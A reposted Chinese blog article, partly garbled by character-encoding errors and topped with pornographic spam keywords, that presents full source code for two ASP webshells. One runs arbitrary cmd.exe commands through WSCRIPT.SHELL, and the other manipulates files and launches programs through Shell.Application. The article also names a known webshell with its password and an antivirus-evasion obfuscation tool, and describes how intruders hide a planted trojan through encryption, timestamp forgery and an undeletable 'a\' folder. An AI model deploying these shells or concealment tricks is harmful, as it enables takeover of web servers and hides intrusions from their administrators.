日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問(wèn) 生活随笔!

生活随笔

當(dāng)前位置: 首頁(yè) > 编程资源 > 编程问答 >内容正文

编程问答

Asp木马技术分析

發(fā)布時(shí)間:2023/12/8 编程问答 28 豆豆
生活随笔 收集整理的這篇文章主要介紹了 Asp木马技术分析 小編覺(jué)得挺不錯(cuò)的,現(xiàn)在分享給大家,幫大家做個(gè)參考.
Asp木馬技術(shù)分析 現(xiàn)在很多的站點(diǎn),為便于建站和后臺(tái)管理,都使用ASP動(dòng)態(tài)程序。但這也為整個(gè)站點(diǎn)的安全帶來(lái)很大隱患,現(xiàn)在典型的網(wǎng)站攻擊就是通過(guò)植入ASP木馬,從而得到系統(tǒng)的控制權(quán)。早期的asp木馬一般有數(shù)個(gè)文件,隨著asp木馬的易用性、隱蔽性以及強(qiáng)大的可執(zhí)行性,因此得到越來(lái)越的黑客和入侵者的青睞,asp木馬技術(shù)也就水漲船高,現(xiàn)在的asp木馬文件已經(jīng)集成到一個(gè)文件,其大小也就二三十k,而且可以通過(guò)使用“asp木馬免殺工具2.0”等軟件來(lái)對(duì)asp源程序進(jìn)行加密等方法,躲過(guò)防毒軟件對(duì)其的查殺。下面就對(duì)目前比較流行的木馬技術(shù)、木馬軟件以及木馬防殺毒技術(shù)進(jìn)行介紹。 (一)木馬核心技術(shù)介紹 Asp木馬中最核心的技術(shù)就是利用腳本創(chuàng)建對(duì)象,然后利用cmd.exe命令來(lái)執(zhí)行對(duì)文件的創(chuàng)建、刪除以及修改等操作。下面就目前較為流行的利用FSO以及不利用FSO技術(shù)的木馬程序源代碼進(jìn)行介紹。 說(shuō)明:FSO是對(duì)FileSystemObject的簡(jiǎn)稱,IIS4以及后續(xù)版本中ASP的文件操作都可以通過(guò)FileSystemObject實(shí)現(xiàn)包括文本文件的讀寫(xiě)目錄操作、文件的拷貝改名刪除等。FileSystemObject帶來(lái)方便的同時(shí),也具有非常大的風(fēng)險(xiǎn)性,利用FileSystemObject可以篡改并下載Fat以及FAT32分區(qū)上的任何文件,即使是ntfs,如果沒(méi)有對(duì)權(quán)限進(jìn)行很好的設(shè)置,同樣也能遭到破壞。 1.使用FSO技術(shù)的asp木馬 <%@ LANGUAGE="VBSCRIPT"??codepage ="936" %> <% Dim oScript Dim oScriptNet Dim oFileSys, oFile Dim szCMD, szTempFile On Error Resume Next Set oScript = Server.CreateObject("WSCRIPT.SHELL") Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK") Set oFileSys = Server.CreateObject("Scripting.FileSystemObject") szCMD = Request.Form(".CMD") If (szCMD <> "") Then szTempFile = "C:\" & oFileSys.GetTempName( ) Call oScript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)?'使用Run方法創(chuàng)建一個(gè)新的進(jìn)程,隱藏窗口并激活另一窗口返回由應(yīng)用程序返回的任何錯(cuò)誤代碼 Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0) '打開(kāi)臨時(shí)文件szTempFile End If %> <HTML> <body bgcolor="#C0C0C0" text="#000000"> <FORM action="<%= Request.ServerVariables("URL") %>" method="POST"> <input type=text name=".CMD" size=45 value="<%= szCMD %>"> <input type=submit value="執(zhí)行" class=input> </FORM> <PRE> <% If (IsObject(oFile)) Then ' -- Read the output from our command and remove the temp file -- ' On Error Resume Next Response.Write Server.HTMLEncode(oFile.ReadAll) '在網(wǎng)頁(yè)上輸出命令執(zhí)行的結(jié)果 oFile.Close Call oFileSys.DeleteFile(szTempFile, True) '刪除臨時(shí)文件szTempFile End If %> </BODY> </HTML> 使用FSO技術(shù)的木馬通過(guò)下面的代碼來(lái)創(chuàng)建WSCRIPT.SHELLWSCRIPT.NETWORK?Scripting.FileSystemObject,然后通過(guò)Call oScript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)來(lái)調(diào)用常用的deletecopydirnetnetstat等一些DOS命令。 Set oScript = Server.CreateObject("WSCRIPT.SHELL") Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK") Set oFileSys = Server.CreateObject("Scripting.FileSystemObject") 其原型為: cmd.exe /c?dos命令”?>?“文件名稱” 如要查看c盤(pán)所有文件并將查看結(jié)果輸出到viewdrive_c.txt的命令為: cmd.exe/c??dir??c:\ >viewdrive_c.txt 說(shuō)明:>”是將命令執(zhí)行的結(jié)果輸入到一個(gè)文件。“文件名稱”中如果沒(méi)有指定路徑則默認(rèn)保存在當(dāng)前目錄下。 注意:在輸入的命令之間要留一個(gè)空格。 利用FSO技術(shù)的asp木馬程序的原理為:從asp頁(yè)面獲取輸入的Dos命令,然后分別創(chuàng)建WSCRIPT.SHELLWSCRIPT.NETWORK?Scripting.FileSystemObject三個(gè)腳本對(duì)象,接著執(zhí)行Dos命令解釋器并執(zhí)行所輸入的Dos命令,并將輸入其命令的執(zhí)行結(jié)果到一個(gè)臨時(shí)文件(szTempFile),然后打開(kāi)臨時(shí)文件并將其結(jié)果回顯在網(wǎng)頁(yè)上,最后刪除臨時(shí)文件。運(yùn)行結(jié)果如圖1所示。 2.非FSO技術(shù)的asp木馬 <form action="<%= Request.ServerVariables("URL") %>" method="POST"> <input type=text name=text value="<%=szCMD %>" size="20">??<font class=fonts>輸入要瀏覽的目錄,最后要加\</font><br> <input type=text name=text1 value="<%=szCMD1 %>" size="20">copy <input type=text name=text2 value="<%=szCMD2 %>" size="20"><br> <input type=text name=text3 value="<%=szCMD3 %>" size="20">move <input type=text name=text4 value="<%=szCMD4 %>" size="20"><br>路徑: <input type=text name=text5 value="<%=szCMD5 %>" size="20">程序: <input type=text name=text6 value="<%=szCMD6 %>" size="20"><br> <input type=submit name=sb value=發(fā)送命令?class=input> </form> </table> </center> </body> </html> <% szCMD = Request.Form("text")???'目錄瀏覽 if (szCMD <> "")??then set shell=server.createobject("shell.application") '建立shell對(duì)象 set fod1=shell.namespace(szcmd) set foditems=fod1.items for each co in foditems response.write "<font color=red>" & co.path & "-----" & co.size & "</font><br>" next end if %> <% szCMD1 = Request.Form("text1")??'目錄拷貝,不能進(jìn)行文件拷貝 szCMD2 = Request.Form("text2") if szcmd1<>"" and szcmd2<>"" then set shell1=server.createobject("shell.application") '建立shell對(duì)象 set fod1=shell1.namespace(szcmd2) for i=len(szcmd1) to 1 step -1 if mid(szcmd1,i,1)="\" then path=left(szcmd1,i-1) exit for end if next if len(path)=2 then path=path & "\" path2=right(szcmd1,len(szcmd1)-i) set fod2=shell1.namespace(path) set foditem=fod2.parsename(path2) fod1.copyhere foditem response.write "command completed success!" end if %> <% szCMD3 = Request.Form("text3")???'目錄移動(dòng) szCMD4 = Request.Form("text4") if szcmd3<>"" and szcmd4<>"" then set shell2=server.createobject("shell.application") '建立shell對(duì)象 set fod1=shell2.namespace(szcmd4) for i=len(szcmd3) to 1 step -1 if mid(szcmd3,i,1)="\" then path=left(szcmd3,i-1) exit for end if next if len(path)=2 then path=path & "\" path2=right(szcmd3,len(szcmd3)-i) set fod2=shell2.namespace(path) set foditem=fod2.parsename(path2) fod1.movehere foditem response.write "command completed success!" end if %> <% szCMD5 = Request.Form("text5")????'執(zhí)行程序到指定路徑 szCMD6 = Request.Form("text6") if szcmd5<>"" and szcmd6<>"" then set shell3=server.createobject("shell.application") '建立shell對(duì)象 shell3.namespace(szcmd5).items.item(szcmd6).invokeverb response.write "command completed success!" end if %> 以上代碼運(yùn)行結(jié)果如圖2所示。不使用FSO技術(shù)的ASP木馬是創(chuàng)建一個(gè)Shell.Application對(duì)象,然后通過(guò)shell.namespace來(lái)對(duì)創(chuàng)建的對(duì)象進(jìn)行操作。通過(guò)使用該種方法雖然不能執(zhí)行netdel以及netstat等命令,但是它可以復(fù)制、移動(dòng)文件及其文件夾以及執(zhí)行系統(tǒng)中存在的特定程序。不過(guò)在每執(zhí)行一次應(yīng)用程序時(shí)都會(huì)打開(kāi)一個(gè)進(jìn)程,而且可能會(huì)報(bào)錯(cuò),通過(guò)任務(wù)控制器可以查看其打開(kāi)的進(jìn)程。 說(shuō)明:Shell.Application對(duì)象提供了NameSpace(文件夾名)、CopyHere(<>[,選項(xiàng)標(biāo)志])MoveHere(<>[,選項(xiàng)標(biāo)志])方法。NameSpace()方法可以得到文件夾的屬性,CopyHere()和MoveHere()分別對(duì)文件夾進(jìn)行拷貝和移動(dòng)。 (二)常用的asp木馬軟件 1.海陽(yáng)頂端網(wǎng)asp木馬 在眾多的asp木馬中,海陽(yáng)頂端網(wǎng)asp木馬應(yīng)該是比較成熟的,也是用得最多的asp木馬,就其版本而言,到目前為止已經(jīng)推出了數(shù)個(gè)版本:海陽(yáng)頂端網(wǎng)asp木馬第一版、海陽(yáng)頂端網(wǎng)asp木馬xp版、海陽(yáng)頂端網(wǎng)asp木馬xp-net版、海陽(yáng)頂端網(wǎng)asp木馬2003版、海陽(yáng)頂端asp木馬安裝插件版以及海陽(yáng)頂端網(wǎng)asp木馬2005版。早期的海陽(yáng)頂端網(wǎng)asp木馬一般都有數(shù)個(gè)asp文件,后期的asp木馬把所有的文件都集成到一個(gè)文件中了,例如xp版和xp-net版集成后的文件大小也就二十多k。海陽(yáng)頂端網(wǎng)asp木馬是用asp腳本語(yǔ)言編寫(xiě),提供在線更改、編輯、刪除任意文件。如果服務(wù)器上存在asp木馬程序,那么該服務(wù)器基本上就#¥%了。海陽(yáng)頂端網(wǎng)asp木馬xp-net版初次運(yùn)行界面如圖3所示,在下方的輸入密碼框中輸入“haiyangtop.126.com”后可以使用其集成功能的界面(圖4)。在該界面中可以方便的切換盤(pán)符,瀏覽、編輯、刪除和復(fù)制指定盤(pán)符下所選中的文件。使用該木馬來(lái)操作文件就如同在本機(jī)上操作文件一樣方便。 2asp木馬免殺工具2.0 asp木馬免殺工具2.0是一款對(duì)asp源代碼進(jìn)行加密的工具(圖5)。大小為545k,其中asp.exe為主程序,運(yùn)行程序后選擇源木馬文件,然后先單擊“轉(zhuǎn)換”,最后單擊“加密”即可生成一個(gè)加密的asp木馬網(wǎng)頁(yè)文件。 3.思易ASP木馬追捕2.0 思易ASP木馬追捕2.0主要對(duì)文件中是否存在FSOdeletefoldershell.applicationwscriptxmlhttpvbscript.encodeadodb.stream對(duì)象或者使用了其中的某些方法進(jìn)行檢查,可以對(duì)利用變量創(chuàng)建對(duì)象、靜態(tài)對(duì)象以及自定義的關(guān)鍵字等進(jìn)行搜索。不過(guò)該程序當(dāng)對(duì)較大文件的檢索可能導(dǎo)致IIS停止響應(yīng),甚至可能導(dǎo)致服務(wù)器宕機(jī),其運(yùn)行界面如圖6所示。 (三)asp木馬防毒技術(shù) 在攻克主機(jī)植入asp木馬后,為了保護(hù)好自己的戰(zhàn)利品,防止系統(tǒng)管理員發(fā)現(xiàn),黑客一般情況下都會(huì)對(duì)asp木馬進(jìn)行保護(hù),往往通過(guò)加密、更改時(shí)間以及使用特殊字符等手段來(lái)逃過(guò)被殺毒軟件的查出和避免系統(tǒng)管理員的發(fā)現(xiàn)。下面就對(duì)其經(jīng)常使用的方法進(jìn)行講解。 ?1.利用軟件對(duì)asp源代碼加密 目前有很多軟件可以對(duì)asp源代碼進(jìn)行加密,例如asp木馬免殺工具2.0等。其原理是采用一定的算法將源代碼或者源代碼中的關(guān)鍵字進(jìn)行某種轉(zhuǎn)換,經(jīng)過(guò)轉(zhuǎn)換后,源代碼已經(jīng)變?yōu)閬y碼或者顯示為特定的字符形式。但是隨著殺毒技術(shù)的提高和版本的升級(jí),經(jīng)過(guò)加密后的asp木馬仍然不能保證躲過(guò)殺毒軟件的查殺。 2.修改asp木馬文件的時(shí)間 asp木馬上傳到服務(wù)器后,即使非常隱蔽,但是其文件修改時(shí)間的變化在正常文件中很容易被發(fā)現(xiàn),因此有人通過(guò)修改木馬源程序文件的時(shí)間跟在服務(wù)器上的正常文件的時(shí)間一致來(lái)逃過(guò)被管理員發(fā)現(xiàn)。 3.利用特殊字符"\"來(lái)保護(hù)asp木馬 Windows在設(shè)計(jì)時(shí)已經(jīng)考慮到不能使用“\”來(lái)作為文件及其文件夾的名字,但是在使用cmd.exe命令來(lái)創(chuàng)建文件時(shí),如果其文件名中包含了“\”,則該文件名中的“\”將被忽略,但是所建立的文件夾還是會(huì)成功,只是不會(huì)顯示“\”(圖7)。利用"\"字符來(lái)保護(hù)asp木馬文件的原理為:在IIS設(shè)置的目錄下創(chuàng)建一個(gè)形入“a\”的文件夾,然后將木馬文件復(fù)制到該文件夾中。復(fù)制成功后,可以在瀏覽其中輸入如下地址運(yùn)行木馬文件:[url]http://localhost/aspmuma/[/url]asp.../xp.asp 說(shuō)明:其中我們將xp.asp木馬文件復(fù)制到“asp/”目錄中,其創(chuàng)建命令如下: mkdir a\ copy xp.asp a\ 創(chuàng)建成功后,可以在瀏覽器中看到一個(gè)為“a”的文件夾,但不能打開(kāi)和刪除該文件夾,從而達(dá)到保護(hù)asp木馬文件的目的。


?本文轉(zhuǎn)自 simeon2005 51CTO博客,原文鏈接:http://blog.51cto.com/simeon/46572

總結(jié)

以上是生活随笔為你收集整理的Asp木马技术分析的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。

如果覺(jué)得生活随笔網(wǎng)站內(nèi)容還不錯(cuò),歡迎將生活随笔推薦給好友。